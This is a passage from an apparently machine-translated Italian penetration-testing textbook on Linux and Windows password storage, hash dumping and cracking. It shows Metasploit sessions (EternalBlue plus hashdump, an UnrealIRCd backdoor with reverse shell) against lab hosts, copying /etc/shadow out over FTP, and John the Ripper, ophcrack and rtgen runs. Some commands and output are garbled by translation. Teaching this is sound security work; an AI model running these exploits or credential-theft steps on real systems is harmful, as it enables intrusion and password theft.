solitamente non sono molto grandi. Gli ID utente su Kali Linux e Ubuntu,
ad esempio, iniziano da 1000. Altre implementazioni potrebbero iniziare
da 500.
Per aggirare il problema con il file passwd che deve essere accessibile dalle
utility di sistema che potrebbero essere in esecuzione senza permessi di
livello root, è stato creato il file shadow . Se chiunque potesse leggere il file
in cui è archiviato l'effettivo hash della password, chiunque potrebbe
prendere l'hash e tentare di decifrare le password. La password è stata
disaccoppiata dal file passwd e inserita nel file shadow . Il file shadow
archivia il nome utente, la password e altre informazioni relative alla
password, come l'ultima volta che la password è stata modificata e quando
deve essere modificata la prossima volta. L'esempio 9-1 mostra una parte
di un file shadow su un sistema Kali. Noterai che la maggior parte degli ID
utente non ha password associate, perché sono correlati a servizi o
applicazioni e non dovrebbero mai avere alcun accesso interattivo.
Esempio 9-1. File shadow su Kali
polkitd:!*:19572::::::
rtkit:!:19572::::::
colord:!:19572::::::
nm-openvpn:!:19572::::::
nm-openconnect:!:19572::::::
kilroy:$y$j9T$S.C3jLr76P6HuMi3PUCQC/$ytE1tyv98Nme
19572:0:99999:7:::
_gophish:!:19572::::::
Debian-exim:!:19605::::::
fwupd-refresh:!:19606::::::
Debian-gdm:!:19606::::::
_galera:!:19641::::::
beef-xss:!:19665::::::
Tuttavia, i sistemi Linux non devono usare i file flat. I sistemi Linux
useranno comunemente PAM per gestire l'autenticazione. Il processo di
accesso si affiderà a PAM per gestire l'autenticazione, usando qualsiasi
meccanismo di backend specificato. Potrebbero essere solo i file flat, con
PAM che gestisce anche la scadenza della password e i requisiti di
robustezza, oppure potrebbe essere qualcosa come il Lightweight Directory
Access Protocol (LDAP). Se l'autenticazione è gestita con un altro
protocollo, sarà necessario accedere al sistema di autenticazione per
recuperare le password.
shadow locale include la password hash e un salt. Il salt è un valore casuale
che viene incluso quando la password viene hash. Ciò impedisce agli
aggressori di ottenere più password identiche insieme. Se una password
hash viene violata, un aggressore otterrà solo quella password,
indipendentemente dal fatto che un altro utente abbia la stessa password.
Il salt assicura un hash univoco anche se la password di partenza è identica.
Ciò non rende impossibile per gli aggressori ottenere le password
identiche. Significa solo che devono violare quelle password
individualmente.
MANCIA
Anche con una password con hash, l'archiviazione non è così semplice come vedere semplicemente la
password con hash nel file shadow. Per cominciare, deve esserci un modo per comunicare
il sale utilizzato. Un esempio di campo password dal file shadow sarebbe
$6$uHTxTbnr$xHrG96xp/Gu501T30Oy1CcdmDeVC51L4i1PpSBypJHs6xRb.733v
ubvqvFarhXKhi6MYFhHYZ5rYUPLt/21GH . I simboli $ sono delimitatori. Il primo valore è l'ID, che è 6
nell'esempio, e ci dice che l'algoritmo di hashing utilizzato è SHA-512. MD5 sarebbe un valore di 1 e
SHA-256 sarebbe un valore di 5. Se dovessi vedere y come identificatore, significherebbe yescrypt. Il
secondo valore è il sale, che è uHTxTbnr nell'esempio. Questo è il valore casuale che è incluso con la
password in chiaro quando viene applicato l'algoritmo di hashing. L'ultima parte è la password con
hash stessa, l'output dall'algoritmo di hashing. Nell'esempio, inizia con xHr e finisce con GH .
Diversi algoritmi di hash crittografici possono essere utilizzati per
aumentare la difficoltà. Algoritmi crittografici più potenti aumenteranno la
complessità di cracking, il che significa che ci vorrà più tempo per ottenere
tutte le password. Attualmente, l'algoritmo di hashing in uso su un sistema
Kali Linux è yescrypt, che dovrebbe essere più resistente agli attacchi
offline rispetto a SHA-512. L'algoritmo di hashing può essere modificato
modificando il file /etc/pam.d/common-password . Nel mio caso, su
un'installazione predefinita di Kali, la seguente riga indica il tipo di hash
utilizzato:
# ecco i moduli per pacchetto (il "Primary
password
[successo=1 predefinito=ignora]p
Un algoritmo di hashing SHA-512 produrrà 64 caratteri a 8 bit. La password
hash yescrypt genera 44 caratteri. Tutti e tre gli elementi del campo
password nel file shadow sono necessari per decifrare la password. È
essenziale conoscere l'algoritmo di hashing utilizzato per sapere quale
algoritmo applicare contro i tentativi di cracking. Quando si tratta di valori
hash più lunghi, abbiamo meno possibilità di collisioni che hanno reso
obsoleti gli algoritmi hash più vecchi. Gli algoritmi che generano risultati
più lunghi impiegano anche più tempo per generare il valore. Quando si
confronta un singolo risultato, la differenza è forse di decimi di secondo tra
un SHA-256 e un SHA-512. Tuttavia, su milioni di potenziali valori se si
cercasse di forzare brute force tutte le potenziali password, questi decimi
di secondo si sommano.
Acquisizione delle password
Ora che sappiamo un po' di più su come vengono comunemente archiviate
le password e sui risultati di hashing in cui vengono archiviate, possiamo
passare a come acquisire le password. Proprio come con l'archiviazione
delle password e, in una certa misura, gli algoritmi di hash utilizzati, il
recupero delle password sarà diverso da un sistema operativo all'altro.
Quando si tratta di sistemi Windows, il modo più semplice per ottenere gli
hash delle password dal sistema è utilizzare il modulo Meterpreter
hashdump.
La prima cosa da notare è che questo metodo richiede che il sistema possa
essere compromesso. Non è scontato. Si presume anche che l'exploit
utilizzato consenta il payload Meterpreter. Ciò non significa che non ci
siano altri modi per scaricare le password. In ogni caso, richiederanno che
il sistema venga sfruttato per ottenere l'accesso agli hash delle password.
Questo approccio richiede anche l'accesso amministrativo al sistema per
poter arrivare agli hash delle password. Nessun utente normale può
leggerli. L'esempio 9-2 mostra un exploit di un vecchio sistema Windows
che utilizza un modulo exploit affidabile, anche se non dovrebbe più essere
uno che dovrebbe essere utilizzato in natura. Trovare sistemi vulnerabili a
MS08-067 suggerirebbe problemi molto più grandi.
Esempio 9-2. Utilizzo di hashdump in Meterpreter
msf6 > usa exploit/windows/smb/ms17_010_eternalbl
[*] Nessun payload configurato, per impostazione
predefinita è windows/ msf6
exploit(windows/smb/ms17_010_eternalblue) > RHOST
=> 192.168.1.244 msf6
exploit(windows/smb/ms17_010_eternalblue) >
[*] Avviato il gestore TCP inverso su
192.168.1.38:4
[*] 192.168.1.244:445 - Utilizzo di
scanner/ausiliari
[+] 192.168.1.244:445 - L'host è probabilmente
VULNER
Server 2008 R2 Standard
[*] 192.168.1.244:445 - Scansionato 1 di 1 host
[+] 192.168.1.244:445 - Il bersaglio è
vulnerabile
[*] 192.168.1.244:445 - Connessione alla
destinazione per
[+] 192.168.1.244:445 - Connessione stabilita per
<- lunghezza modificata -> meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404e
e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b5
c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce26
Ospite:501:aad3b435b51404eeaad3b435b51404ee:31d6c
f
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404e
ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74
lando_calrissian:1013:aad3b435b51404eeaad3b435b5
62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee
luke_skywalker:1005:aad3b435b51404eeaad3b435b5140
481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cf
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02
meterpreter >
L'exploit sfrutta una vulnerabilità nel servizio che abilita la condivisione di
file di Windows. Poiché si tratta di un servizio che funziona con il livello più
alto di privilegi, abbiamo l'accesso amministrativo di cui abbiamo bisogno
per poter scaricare le password. Dopo aver ottenuto una shell Meterpreter,
eseguiamo hashdump e otterremo il contenuto del database SAM locale.
Noterai che otteniamo il nome utente, seguito dall'ID utente numerico.
Questo è seguito dalla password hash.
Ottenere password da un sistema Linux significa prendere due file: il file
shadow e il file passwd . Il file passwd può essere preso da chiunque abbia
accesso al sistema. Il file shadow ha lo stesso problema che avevamo sul
lato Windows. Abbiamo bisogno di permessi di livello root per poter
leggere quel file. I permessi impostati sul file shadow sono restrittivi,
tuttavia. Ciò significa che non possiamo usare un qualsiasi vecchio exploit.
Abbiamo bisogno di un exploit di livello root o di un modo per sfruttare i
privilegi. Una volta che abbiamo sfruttato il sistema, dovremo estrarre i file
dal sistema. L'esempio 9-3 mostra un exploit di livello root seguito dall'uso
di un client FTP per spingere i file passwd e shadow fuori.
Esempio 9-3. Copia di /etc/passwd e /etc/shadow
msf6 exploit(unix/misc/distcc_exec) > usa exploit
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
RHOST => 192.168.1.37 msf6
exploit(unix/irc/unreal_ircd_3281_backdoor)
imposta PAYLOAD payload/cmd/unix/reverse PAYLOAD
=> cmd/unix/reverse
Errore msf6 (unix/irc/unreal_ircd_3281_backdoor)
LHOST => 192.168.1.8 Errore msf6
(unix/irc/unreal_ircd_3281_backdoor)
[*] Avviato il gestore TCP doppio inverso su
192.168
[*] 192.168.1.37:6667 - Connesso a 192.168.1.37
:irc.Metasploitable.LAN NOTICE AUTH :*** Guarda
:irc.Metasploitable.LAN NOTICE AUTH :*** Potresti
usare il tuo indirizzo IP invece [*]
192.168.1.37:6667 - Invio comando backdoor [*]
Accettata la prima connessione client...
[*] Accettata la seconda connessione client...
[*] Comando: echo qiUI97BoTeJl617w;
[*] Scrittura sul socket A
[*] Scrittura sul socket B
[*] Lettura dai socket...
[*] Lettura dal socket B
[*] B: "qiUI97BoTeJl617w\r\n"
[*] Corrispondenza...
[*] A è l'input...
[*] Command shell session 1 opened (192.168.1.8:4
2023-12-10 19:06:35 -0500
cp /etc/passwd .
cp /etc/shadow .
ls
passwd
shadow
ftp 192.168.1.8
kilroy
Password:*********
put passwd
put shadow
Noterai che i file passwd e shadow vengono copiati nella directory in cui ci
troviamo. Il motivo è che non possiamo semplicemente estrarli dalla loro
posizione in /etc . Tentando di farlo, verrà generato un errore di permessi.
Una volta ottenuti i file passwd e shadow , dobbiamo unirli in un singolo
file in modo da poter utilizzare utility di cracking contro di essi. L'esempio
9-4 mostra l'uso del comando unshadow per combinare i file passwd e
shadow .
Esempio 9-4. Utilizzo di unshadow per combinare i file shadow e passwd
┌──(kilroy@portnoy)-[~]
└─$ unshadow passwd shadow Directory creata:
/home/kilroy/.john
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root
daemon:*:1:1:daemon:/usr/sbin:/ bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/d
sshd:*:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000
/home/msfadmin:/bin/bash
bind:*:105:113::/var/cache/bind:/bin/false
Le colonne sono diverse da quelle che vedrai nel file shadow . Ciò che
vedrai è il nome utente, che sarebbe lo stesso sia nei file passwd che
shadow . Questo è seguito dal campo password del file shadow . Nel file
passwd , questo campo è riempito solo con un * . Le colonne rimanenti
provengono dal file passwd , inclusi l'ID utente numerico, l'identificativo
del gruppo, la directory home per l'utente e la shell che l'utente utilizzerà
quando effettuerà l'accesso. Se il file shadow non ha un campo password ,
otterrai comunque il * nella seconda colonna. Dovremo
eseguire unshadow per utilizzare uno strumento di cracking locale come
John the Ripper; unshadow è incluso nel pacchetto John the Ripper.
Cracking offline
Il cracking locale , o cracking offline , significa che abbiamo gli hash
localmente. Cercheremo di craccarli sul sistema in cui ci troviamo o di
estrarre gli hash, come hai visto in precedenza, per eseguire cracker di
password come John the Ripper su un sistema separato. Alcune modalità
sono comunemente utilizzate nel cracking delle password. Una di queste è
la forza bruta, il che significa che il cracker di password prende parametri
come la lunghezza e la complessità (quali caratteri dovrebbero essere
utilizzati) e prova ogni possibile variazione. Questo non richiede
intelligenza o pensiero. Si tratta semplicemente di lanciare tutto il possibile
contro il muro e sperare che qualcosa si attacchi. Questo è un modo per
aggirare le password complesse.
Gli elenchi di parole sono un altro possibile approccio per decifrare le
password. Un elenco di parole , a volte chiamato dizionario , è esattamente
ciò che sembra, un file di testo con un elenco di parole al suo interno. Il
deciframento delle password tramite un elenco di parole richiede che la
password sia nell'elenco di parole. Forse è ovvio, ma alcune password
possono essere essenzialmente basate su parole del dizionario che
potrebbero non essere presenti nell'elenco di parole, anche se la parola del
dizionario su cui si basa la password è nell'elenco. Ad esempio, prendi la
password password , che non è una password eccezionale, ovviamente.
Non solo manca di complessità, ma è anche troppo ovvia. Se dovessi usare
P4$$w0rd , ho preso la stessa parola, che è ancora visibile nella password,
e l'ho resa in modo che non possa essere trovata in un elenco di parole del
dizionario semplice che potrebbero includere password .
Questo ci porta a un altro approccio al cracking delle password. Se
prendiamo una password di base e applichiamo regole di mangling,
aumentiamo il numero di possibilità di password da un singolo elenco di
password. Molte regole possono essere applicate a un elenco di parole:
sostituire lettere con numeri che hanno una vaga somiglianza, sostituire
lettere con simboli che hanno anche una somiglianza, aggiungere caratteri
speciali prima o dopo una parola. Tutte queste regole e altre possono
essere applicate per mangling di potenziali input. Sebbene si tratti
comunque di molte password, applicare un po' di intelligenza come questa
aiuta a ridurre il numero potenziale di password che devono essere
verificate.
LA MATEMATICA DEL CRACKING DELLE PASSWORD
Il cracking delle password è un'impresa complessa. Se si utilizzano solo
elenchi di parole, il cracker di password esaminerà ogni password
nell'elenco di parole finché non ne trova una o l'elenco di parole non si
esaurisce. Solo l' elenco di parole di Rockyou ha 14.344.392 voci ed è ben
lungi dall'essere un elenco completo. Quando si inizia a forzare le
password, si iniziano ad aggiungere ordini di grandezza con quasi ogni
posizione che si aggiunge alla password. Immagina di avere 8 caratteri e di
utilizzare solo lettere minuscole. Sono 26 × 26 × 26 × 26 × 26 × 26 × 26 ×
26, ovvero 208.827.064.576. Aggiungi lettere maiuscole e numeri e siamo a
62 possibili combinazioni per ogni posizione. Stiamo quindi parlando di 62
8
solo per una password di 8 caratteri. Sono 218.340.105.584.896 possibili
password. Non abbiamo ancora iniziato a considerare i caratteri speciali.
Prendi le posizioni di spostamento sui numeri e aggiungi altri 10 possibili
caratteri.
Diciamo che stiamo usando solo lettere maiuscole e minuscole e numeri,
quindi stiamo lavorando con i 218 trilioni di possibilità menzionati in
precedenza. Ora considera che se stessi provando 1.000 possibilità al
secondo, avresti bisogno di 218 miliardi di secondi per esaminarle tutte.
Sono 3 miliardi di minuti, che sono 60 milioni di ore o 2,5 milioni di giorni. I
processori moderni sono in grado di elaborare più di 1.000 password al
secondo, ma usare quella scala inizia a darti un'idea dell'immensità del
compito di cracking delle password.
Per quanto riguarda la potenza di elaborazione, i sistemi moderni possono
includere unità di elaborazione grafica (GPU) molto potenti, progettate
appositamente per operazioni matematiche e che potrebbero essere
utilizzate per facilitare la decifrazione delle password, sebbene il volume
delle potenziali password sia ancora enorme.
Kali Linux ha pacchetti correlati al cracking delle password. Il primo da
considerare, che è installato di default, è il pacchetto wordlist . Questo
include il file rockyou menzionato in precedenza e altre informazioni
necessarie per il cracking delle password. Inoltre, uno dei principali cracker
di password è John the Ripper. Questo non è l'unico cracker di password,
tuttavia. Un altro approccio al cracking delle password, che evita di iniziare
con le parole possibili, è qualcosa chiamato Rainbow tables. Kali ha un paio
di pacchetti correlati al cracking delle password che utilizzano questo
approccio. Inizieremo con John, però, che è un buon punto di partenza.
Giovanni lo Squartatore
In John the Ripper, il comando john usa i tre metodi a cui si è fatto
riferimento in precedenza per decifrare le password. Tuttavia, l'approccio
predefinito al cracking è chiamato modalità single-crack . Questo prende il
file delle password che è stato fornito e usa le sue informazioni come il
nome utente, la directory home e altri dettagli per determinare la
password. Questo fa supporre che gli utenti stiano usando password molto
pigre. Nel processo, john applica regole di mangling per avere la migliore
possibilità di indovinare la password poiché sarebbe ragionevolmente raro
che qualcuno usi il proprio nome utente come password, anche se
potrebbe essere possibile per loro di mangling il proprio nome utente e
usarlo. Oggigiorno, è altamente improbabile, a meno che non si stia
lavorando su un'installazione molto vecchia. Tuttavia, vale comunque la
pena di dare un'occhiata alla modalità single-crack per iniziare. L'esempio
9-5 mostra l'uso della modalità single-crack per indovinare le password dal
file shadow estratto da un sistema Metasploitable Linux.
Esempio 9-5. Modalità single-crack utilizzando john
┌──(kilroy@portnoy)-[~]
└─$ john -single passwd.out Attenzione: rilevato
tipo hash "md5crypt", ma s come "md5crypt-long"
Utilizzare l'opzione "--format=md5crypt-long"
per forzare
Utilizzo della codifica di input predefinita:
UTF-8 Caricati 7 hash di password con 7 diverse
varianti di salt) [MD5 256/256 AVX2 8x3])
Eseguirà 8 thread OpenMP Premi 'q' o Ctrl-C per
annullare, quasi tutti gli altri ke utente
(utente) postgres (postgres) msfadmin (msfadmin)
servizio (servizio) Quasi completato:
elaborazione dei restanti dati bufferizzati ca 4g
0:00:00:00 FATTO (2023-12-10 19:27) 11,76 g/s 22
dev1917..dsys1900 Usa l'opzione "--show" per
visualizzare tutti i dati Sessione completata.
In fondo all'output vedrai che ti dice come visualizzare tutte le password
che sono state violate. Può farlo, proprio come può riavviare una scansione
interrotta, grazie al file .pot in ~/.john/ . Questa è una cache di password e
stato di ciò che john sta facendo. L'esempio 9-6 mostra l'uso di john -show
per visualizzare le password che sono state violate. Vedrai che devi indicare
da quale file di password stai estraendo le password. Il motivo è che il file
.pot continua oltre una singola esecuzione e può memorizzare i dettagli di
più tentativi di violare. Se dovessi guardare il file di password originale,
vedresti che è stato lasciato intatto. Gli hash sono ancora lì anziché essere
sostituiti con la password. Alcuni cracker di password potrebbero usare la
strategia di sostituzione, ma john memorizza le password.
Esempio 9-6. Visualizzazione dei risultati di John
┌──(kilroy@portnoy)-[~] └─$ john -show passwd.out
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msf
postgres:postgres:108:117:amministratore
PostgreSQL utente:utente:1001:1001:solo un
utente,111,,:/home/utente
servizio:servizio:1002:1002:,,,:/home/servizio:/b
in/ 4 hash password violati, 3 rimasti
Non abbiamo tutte le password, quindi dobbiamo fare un altro tentativo
con questo file. Questa volta, useremo l'approccio dell'elenco di parole.
Useremo il file delle password di rockyou per tentare di ottenere il resto
delle password. È semplice. Per prima cosa, decomprimiamo il file
rockyou.tar.gz ( zcat /usr/share/wordlists/rockyou.tar.gz > rockyou ) e poi
eseguiamo john dicendo al programma di usare un elenco di parole,
fornendo il file da usare. Di nuovo, passiamo il file delle password usato in
precedenza. Utilizzando questo approccio, john è stato in grado di
determinare altre due password. Una bella caratteristica di john sono le
statistiche che vengono fornite alla fine dell'esecuzione. Utilizzando un
sistema basato principalmente su disco rigido, john è stato in grado di
eseguire 38.913 password al secondo, come vedrai nell'esempio 9-7 .
Esempio 9-7. Utilizzo di elenchi di parole con john
s┌──(kilroy@portnoy)-[~] └─$ john wordlist rockyou.txt passwd.out
Attenzione: carica solo hash di tipo "tripcode",
Utilizzare l'opzione "--format=descrypt" per
forzare il caricamento
Utilizzo della codifica di input predefinita:
UTF-8
Caricati 7 hash di password con 7 diversi salt
(1$ [MD5 128/128 SSE2 4x3])
Rimanenti 3 hash di password con 3 salt diversi
Premere 'q' o Ctrl-C per annullare, quasi tutti gli
altri ke 123456789 (klog) batman (sys) 2g
0:00:06:08 FATTO (27-03-2018 20:10) 0,005427g/s
123d..*7¡Vamos!
Utilizzare l'opzione "--show" per visualizzare
tutti i cra
Sessione completata
┌──(kilroy@portnoy)-[~] └─$ john -show passwd.out
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msf
postgres:postgres:108:117:amministratore
PostgreSQL utente:utente:1001:1001:solo un
utente,111,,:/home/utente
servizio:servizio:1002:1002:,,,:/home/servizio:/b
in/
6 password hashes cracked, 1 left
Ci resta una password da decifrare. L'ultimo metodo che possiamo usare
per decifrare le password è chiamato incremental da john . Si tratta di un
attacco brute-force che tenta ogni possibile password, dati parametri
specifici. Se vuoi eseguire con i parametri predefiniti, puoi usare john -incremental per supporre che la password sia compresa tra 0 e 8 caratteri
usando un set di caratteri predefinito. Puoi indicare una modalità insieme
al parametro incremental . Questo è qualsiasi nome tu voglia dare al set di
parametri che puoi creare in un file di configurazione.
Il file /etc/john/john.conf include modalità predefinite che possono essere
utilizzate. Cercando il file per List.External:Filter_ verranno forniti filtri
predefiniti. Ad esempio, vedrai una sezione nella configurazione per
List.External:Filter_LM_ASCII che definisce la modalità incrementale
LM_ASCII . Nell'esempio 9-8 , puoi vedere un tentativo di crackare l'ultima
password rimasta. Questo utilizza la modalità Upper , come definito nel file
di configurazione. Ciò assicurerebbe che tutti i caratteri utilizzati per creare
il tentativo di password siano maiuscoli. Se volessi creare la tua modalità,
creeresti il tuo file di configurazione. La modalità è definita tramite codice
C e il filtro è in realtà solo una funzione C.
Esempio 9-8. Modalità incrementale con john
┌──(kilroy@portnoy)-[~]
└─$ john -incremental:Upper passwd.out
Attenzione: rilevato tipo hash "md5crypt", ma s
come "md5crypt-long" Utilizzare l'opzione "-format=md5crypt-long" per forzare
Utilizzo della codifica di input predefinita:
UTF-8 Caricati 7 hash di password con 7 diverse
varianti di salt) [MD5 256/256 AVX2 8x3])
Rimanenti 3 hash di password con 3 diverse
varianti di salt
Eseguirà 8 thread OpenMP
Premere 'q' o Ctrl-C per annullare, quasi tutti
gli altri tasti
0g 0:00:00:43 0g/s 132753p/s 398277c/s 398277C/s
0g 0:00:00:50 0g/s 131497p/s 394522c/s 394522C/s
0g 0:00:00:55 0g/s 130743p/s 392231c/s 392231C/s
0g 0:00:00:57 0g/s 130562p/s 391688c/s 391688C/s
Toccando un tasto qualsiasi sulla tastiera si ottengono quattro righe che
indicano lo stato. Ogni volta, sembra che John riesca a testare più di
130.000 password al secondo. 0g/s indica che non è stata trovata alcuna
password perché John sta ottenendo 0 tentativi al secondo. Puoi anche
vedere le password che vengono testate alla fine di ogni riga. Questo è un
intervallo di password che sono in fase di test. È improbabile che saremo in
grado di ottenere l'ultima password usando solo lettere maiuscole.
L'approccio migliore sarebbe quello di eseguire la modalità incrementale,
che è l'impostazione predefinita se non viene fornita alcuna modalità. Vale
la pena notare che nel 2018, quando è stata scritta la prima edizione di
questo libro, John stava eseguendo circa 40.000 password al secondo, ma
la velocità del processore e altri aumenti di velocità nei sistemi moderni
hanno più che triplicato la velocità di cracking. Tuttavia, anche con un
processore molto veloce, molta memoria e un archivio veloce, le password
con la forza bruta richiedono molto tempo.
Tavoli arcobaleno
Una tabella rainbow è un dizionario che mappa gli hash alle password. Le
tabelle rainbow vengono utilizzate come tentativo di velocizzare il processo
di cracking delle password. Tuttavia, c'è un compromesso tra spazio su
disco e velocità. Otteniamo la velocità eseguendo una ricerca sull'hash e
trovando la password associata. Questo è un approccio che potrebbe avere
successo con le password di Windows poiché non utilizzano un salt. Il salt
protegge dall'uso di tabelle rainbow per una ricerca rapida. Potresti
comunque utilizzare le tabelle rainbow, ma lo spazio su disco richiesto per
archiviare tutti i possibili hash per un gran numero di password e tutti i
potenziali valori salt sarebbero probabilmente proibitivi, per non parlare
del fatto che generare una tabella rainbow di questo tipo richiederebbe
molto tempo e calcoli.
Kali Linux include due programmi che possono essere usati con le tabelle
rainbow. Uno è basato su GUI, mentre l'altro è basato su console. Il
programma basato su GUI non è fornito con le tabelle rainbow. Per usarlo,
devi scaricare le tabelle o generarle. Il secondo programma è in realtà una
suite di script che può essere usata per creare tabelle rainbow e poi
cercare le password da esse usando l'hash. Entrambi sono buoni se puoi
usare le tabelle rainbow per decifrare le password. Tieni solo a mente che,
sia che tu stia generando le tabelle o scaricandole, avrai bisogno di molto
spazio su disco per ottenere tabelle abbastanza grandi da avere buone
possibilità di successo.
fessurazione
ophcrack è un programma basato su GUI per eseguire il cracking delle
password con tabelle rainbow. Il programma ha tabelle predefinite per
l'uso, anche se dovrai scaricare le tabelle e quindi installarle nel
programma prima che possano essere utilizzate. La Figura 9-1 mostra una
delle tabelle installate dalla finestra di dialogo che si apre quando usi il
pulsante Tabelle. Una volta scaricate le tabelle, puoi puntare ophcrack alla
directory in cui sono state decompresse, poiché ciò che scarichi è una
raccolta di file in un singolo file ZIP.
Figura 9-1. Tabelle arcobaleno di ophcrack
Noterai un elenco di tutte le tabelle che ophcrack conosce. Una volta
identificata la tabella, il cerchio sul lato sinistro passa dal rosso al verde,
indicando che è stata installata. Vedrai anche tabelle in lingue diverse, che
potrebbero suggerire caratteri leggermente diversi che potrebbero essere
in uso. Ad esempio, il tedesco, che vedrai elencato come opzione qui, ha
una lettera chiamata eszet , che viene visualizzata come una B altamente
stilizzata . Questa è una lettera comune nelle parole tedesche, ma non è un
carattere che si troverebbe sulle tastiere orientate all'inglese, sebbene
potrebbe essere possibile generare il carattere utilizzando utilità basate sul
sistema operativo. Il tedesco ha anche caratteri che utilizzano una dieresi.
Altre lingue utilizzano altre lettere/caratteri in parole che non fanno parte
dell'alfabeto latino utilizzato dall'inglese. Le tabelle rainbow orientate a
lingue specifiche possono includere tali caratteri, poiché potrebbero essere
inclusi nelle password.
Crackare le password è semplice dopo aver installato le tabelle rainbow.
Nel mio caso, XP Free Fast è l'unica tabella che sto usando. Per crackare
una password, ho cliccato sul pulsante Carica sulla barra degli strumenti.
Una volta lì, ophcrack presenta l'opzione di un singolo hash, file PWDUMP,
file di sessione o SAM crittografato. Ho selezionato un singolo hash e poi
ho usato l'account amministratore dall'hashdump raccolto in precedenza e
l'ho scaricato nella casella di testo fornita nella finestra di dialogo che viene
presentata. La figura 9-2 mostra i risultati del tentativo di cracking, anche
se la password è sfocata. Quello ero io, non il software. La password è
divisa in due blocchi, come è comune con le password NTLM. I primi sette
caratteri sono nella colonna LM Pwd 1, mentre i successivi sette caratteri
sono nella colonna LM Pwd 2.
Figura 9-2. Password violate da ophcrack
Tieni presente che quando lavori con ophcrack , sei limitato alle tabelle
rainbow che conosce. È anche principalmente focalizzato sul lavoro con
hash basati su Windows. Non puoi creare le tue tabelle con cui lavorare.
Alcuni programmi, tuttavia, non solo ti permettono di creare le tue tabelle,
ma ti forniscono anche gli strumenti per farlo.
Progetto RainbowCrack
Se sei interessato a creare le tue tabelle rainbow anziché affidarti a quelle
generate da qualcun altro, puoi usare il pacchetto di utilità del progetto
RainbowCrack. L'uso di questa raccolta di strumenti ti dà più controllo sulle
password che puoi usare. Il primo strumento da guardare è quello usato
per generare la tabella. Questo è rtgen e richiede parametri per generare
la tabella. L'esempio 9-9 mostra l'uso di rtgen per creare una semplice
tabella rainbow. Non partiamo dalle parole del dizionario, come nel caso
delle tabelle usate con ophcrack . Invece, fornisci il set di caratteri e le
lunghezze delle password che vuoi creare e le password vengono generate
nello stesso modo in cui lo fa john , usando la modalità incrementale. Se
hai molto tempo libero e molto spazio su disco, puoi crearne una tua.
Esempio 9-9. Generazione di tabelle rainbow tramite rtgen
┌──(kilroy@portnoy)-[~] └─$ rtgen sha1 mixalphanumeric 1 4 0 1000 1000 0 tabella arcobaleno
sha1_mixalpha-numeric#1-4_0_1000x10 algoritmo
hash: sha1 lunghezza hash: 20 nome charset:
mixalpha-numeric dati charset:
abcdefghijklmnopqrstuvwxy 0123456789 dati charset
in esadecimale: 61 62 63 64 65 66 67 68 6 73 74 75
76 77 78 79 7a 41 42 43 44 45 46 47 48 4
53 54 55 56 57 58 59 5a 30 31 32 33 34 35 36 37 3
lunghezza set di caratteri: 62 intervallo di
lunghezza testo in chiaro: 1 - 4 offset di
riduzione: 0x00000000 totale testo in chiaro:
15018570
punto di partenza sequenziale inizia da 0
(0x0000000 generazione... 1000 di 1000 catene
arcobaleno generate (0 m 0,0 s
rtgen usa una tecnica chiamata rainbow chains per limitare la quantità di
spazio di archiviazione richiesta per l'intera tabella. Tieni presente che ciò
che stai facendo con le rainbow tables è precalcolare gli hash e mappare gli
hash alle password. Questo può richiedere molto spazio, a meno che non
venga utilizzato un approccio per ridurre tale spazio di archiviazione. Puoi
farlo con una funzione di riduzione . Finisci con una catena di valori hash e
password alternati che sono l'output di una funzione di riduzione. Questo
aiuta con la mappatura del valore hash alla password utilizzando un
algoritmo piuttosto che una generazione e una ricerca a forza bruta.
Di conseguenza, quello che stai osservando nell'esempio 9-9 è la chiamata
di rtgen con l'algoritmo hash ( sha1 ) seguito dal set di caratteri che vuoi
usare per creare le password. Ho selezionato l'uso di maiuscole e
minuscole, nonché numeri. Potremmo usare minuscole o maiuscole o una
combinazione. Questo è stato un approccio abbastanza buono per
generare una gamma di possibilità di password. Dopo il set di caratteri,
devi specificare la lunghezza che desideri indicando la lunghezza minima e
quella massima. Ho indicato che volevo password da uno a quattro
caratteri, solo per mantenere le dimensioni ridotte ma dimostrare
comunque l'uso dello strumento.
Lo strumento rtgen può utilizzare vari algoritmi di riduzione. Il parametro
successivo indica quale algoritmo utilizzare. La documentazione del
progetto non fornisce dettagli sugli algoritmi, ma fa invece riferimento a un
articolo accademico scritto da Philippe Oechslin che mostra le basi
matematiche per l'approccio di riduzione delle dimensioni di archiviazione.
Per i nostri scopi, ho utilizzato il valore dagli esempi forniti dal programma.
Il valore successivo è la lunghezza della catena. Questo valore indica quanti
valori di testo normale memorizzare. Più valori di testo normale vengono
memorizzati, più spazio su disco viene consumato e più tempo di
elaborazione per generare i valori di testo normale e i loro hash. Dobbiamo
anche dire a rtgen quante catene generare. La dimensione del file
risultante sarà il numero di catene moltiplicato per la dimensione di
ciascuna catena. Ogni catena è di 16 byte. Infine, dobbiamo fornire un
